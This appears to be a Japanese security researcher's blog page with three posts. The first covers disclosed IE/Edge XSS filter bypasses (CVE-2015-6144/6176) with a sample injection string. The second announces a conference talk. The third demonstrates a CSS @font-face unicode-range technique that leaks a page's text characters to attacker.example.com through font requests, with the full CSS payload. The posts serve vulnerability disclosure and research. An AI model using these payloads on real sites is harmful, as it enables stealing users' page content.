2015/12/17

IE/EdgeのXSSフィルターを利用したXSS

English version: http://mksben.l0.cm/2015/12/xxn.html
------------------------------------------------
2015年12月のMicrosoftの月例アップデートで修正された、Internet ExplorerとEdgeのXSSフィルターに存在した問題(CVE-2015-6144 および CVE-2015-6176)について書きます。

2015 年 12 月のマイクロソフト セキュリティ情報の概要
https://technet.microsoft.com/ja-jp/library/security/ms15-dec.aspx

修正された問題は、2015年10月に行われたセキュリティカンファレンスのCODE BLUEで詳細を伏せて発表した、IE/EdgeのXSSフィルターの動作を利用してXSS攻撃する手法の一部です。「一部」と書いたように、今回のパッチでは、報告した問題の全てが修正された訳ではありませんでした。当初、発表するつもりで作った、攻撃手法の詳細も含めたスライドを、未修正の部分を伏せて以下で公開します。



また、以下で3つの手法のPoCを公開しています。修正され次第、他のPoCも公開します。

http://l0.cm/xxn/

詳しい原理等については資料を見てもらうとして、この記事では、ざっくりと手法に触れながら、今回施された修正方法に言及したいと思います。

1. style属性の遮断を悪用するパターン

次のような、style属性の追加によるXSSの遮断を、


</style>の閉じタグに誤マッチさせることで、閉じタグを破壊し、攻撃を成立させます。


Microsoftはこの問題に対し、style属性部の遮断時だけ、強制的にmode=blockの動作にすることで回避したようです。確かに問題は起きなくなりますが、これじゃあ、X-XSS-Protection:1の動作とはなんだったのか…、という気がします。
ただ、確実な回避策にはなっているので、ひとまずはこれでよいと思います。(実際、僕はデフォルト動作をひとまずmode=blockにすることで回避したらどうかとMSに提案していました。)

2. 文字列リテラルの遮断を悪用するパターン その1( <script src=***></script> を利用)

次のような、文字列リテラルでの、プロパティアクセス後の代入による攻撃(実際には例えば、";document.body.innerHTML="攻撃文字列"//のような形で攻撃します)の遮断を利用し、


スクリプトタグのsrcの値に誤マッチさせることで、外部リソースをスクリプトとしてロードして攻撃します。

どう修正されたかは、次の手法でまとめて紹介します。

3. 文字列リテラルの遮断を悪用するパターン その2( <link rel=stylesheet href=***> を利用)

同じく、文字列リテラルでの遮断を、無関係の文字列に誤マッチさせます。
今度は、<link>タグのhrefの相対パスの.を利用し、攻撃に繋げるという方法です。


2と3の問題のMicrosoftの修正にはびっくりしました。
プロパティアクセス後の代入の遮断時だけ、.を、これまでの#の代わりに、^(0x5E)に置換するよう変更したのです!なんじゃそりゃ~(^_^)!
確かに、この2つの問題は回避できるかもしれませんが、この修正は良いとは思えません。

JavaScriptにおいて、^は演算子です。document.locationdocument^locationに変わってもエラーになりません。この時点で、 既存のインラインスクリプトに含まれる.をうまいこと^に変えることで、エラーを起こさずに何かおかしな動作を意図的に起こせるかもしれないことは容易に想像できます。じゃあ、.が JavaScriptの正規表現に含まれていたら、そしてそれが^に置換されたら、どうなるでしょう…?考え出すと、これならOKという気はまったくしません。

このような修正を繰り返しても、XSSフィルターを使ったXSSパズルのピースが変わっただけであり、本質的には何も安全になっていないと思います。

報告では、XSSフィルターの遮断方法はこのままじゃまずいよね、という思いも伝えられたと思っていただけに、今回のパッチの回避方法は、現在の遮断方法に危機感を持っていないとしか思えないものであり、非常に残念でした。

もう一度コンタクトし直して、そういった思いを伝え、今回、紹介を伏せた、まだ修正されていないXSSフィルターの問題が修正される時には、根本的な部分まで改善されることを期待したいと思います。

開発者の方には、資料の中でも書いた通り、引き続き、自分のサイトのすべてのページで、X-XSS-Protection:1;mode=blockX-XSS-Protection:0のヘッダを指定することを推奨したいと思います。これがXSSフィルターによって、不本意にページを変更されることの開発者側でできる回避策になります。

2015/11/21

AVTOKYO2015の発表資料「バグハンターの哀しみ」を公開

English version: http://mksben.l0.cm/2015/11/avtokyo2015.html
----------------------------------------------------

2015年11月14日に行われたセキュリティカンファレンス、AVTOKYO2015で発表しました。

ご存知の方もいらっしゃるかと思いますが、2013年9月、脆弱性の検査がきかっけで、ISPに自宅のインターネットを止められるということがありました。発表では、このときの詳細をお話しました。資料は以下にあります。





聴いて頂いた皆様、ありがとうございました。発表後、聴いて頂いた方の意見を伺い、誰がどうしていればこのような問題が起きずに済んだのかといったことを議論したりもでき、とても有意義な時間を過ごすことができました。このような機会を頂きありがとうございました。

ちなみに昨年、「バグハンターの愉しみ」という発表もCODE BLUEで行っています。今回はその対となるタイトルとして、「バグハンターの哀しみ」と名付けました。「愉しみ」の資料も以下で公開しているので、よかったらご覧ください。
http://masatokinugawa.l0.cm/2015/07/codeblue.html

次回、「バグハンターの○○み」でお会いしましょう! (もうやりません!)

2015/10/24

@font-faceのunicode-rangeを利用してCSSだけでテキストを読み出す

English version: http://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html
----------------------------------

CSSの @font-faceのunicode-range を使った攻撃手法を思いついたので共有します。

この手法を使うと、攻撃者はCSSだけでページ内に書かれたテキストを推測することができます。
この手法は、次のような場面で利用できるかもしれません。

・ ブラウザのXSS保護機能のバイパス(ChromeのXSS Auditorは<style>の注入をブロックしない)
・ ターゲットのページで、JavaScriptの実行はできないがスタイルが注入できた場合の攻撃への利用

自分が知る限りでは、CSSを利用した今でも使える既知の攻撃手法には、属性値を読み取れるものはあっても、テキストの中身を読み取る手法は知りません。この手法は、完全には読み取ることはできないながらも、それを可能にします。

属性を読み取る手法は以下のページのAttribute Readerで紹介されています。まだ現役の手法です。

CSS - The Sexy Assassin
http://p42.us/css/


今のところ、ChromeとFirefox Nightly 44で動作します。それでは、みていきます。

以下のようなページがあるとします。
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* 取得される */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* これも取得される */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* 取得されない */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>

このページにアクセスすると、ChromeとFirefox Nightlyでは、http://attacker.example.com/?Ahttp://attacker.example.com/?Bに対するリクエストが飛びます。一方、http://attacker.example.com/?Cに対するリクエストはとびません。

これは、ChromeとFirefox Nightlyでは、フォントを適用しようとしている部分にunicode-rangeの範囲内の文字が含まれているときだけ、フォントをロードする動作になっているためです。
フォントを適用しようとしている部分であるsensitive-informationのidを持った部分をみると、「A」と「B」しか含まれていないため、「A」と「B」のフォントだけロードし、「C」のフォントはロードしないという動作になっている訳です。

この時点で既に、 attacker.example.com は、sensitive-informationに "A"と"B" が含まれているが、 "C" は含まれていないことを知れたということになります。

もう少し、取得対象の文字を増やした例をみてみます。

以下のページにChromeからアクセスし、
http://vulnerabledoma.in/poc_unicode-range2.html

開発者ツールのネットワークタブをみてください。次のようなリクエストが見れるはずです。



見てのとおり、 M,a,s,t,o,K,i,n,u,g,w を含む外部へのリクエストが送信されています。ここで気付くことは、重複してでてくる文字( この場合、a )はわからないということです。それでも、この例のように、取得の対象によっては、内容を推測するのに十分な情報を攻撃者に与えるはずです。

この動作は仕様にも明記されているようです。(http://www.w3.org/TR/css3-fonts/#composite-fonts のEXAMPLE 13を参照)

フォントのダウンロードを必要最低限に抑えることで、リクエスト量を減らすことができますが、一方で、その副作用として、新しい攻撃の可能性がうまれてしまったというところでしょう。
Chromeチームにも報告しましたが、WontFixという扱いになりました。

JavaScriptの実行ほど大きな脅威ではないとはいえ、現在でも、CSSだけでも攻撃が可能になる場合があるということは覚えておいた方がよいかもしれません。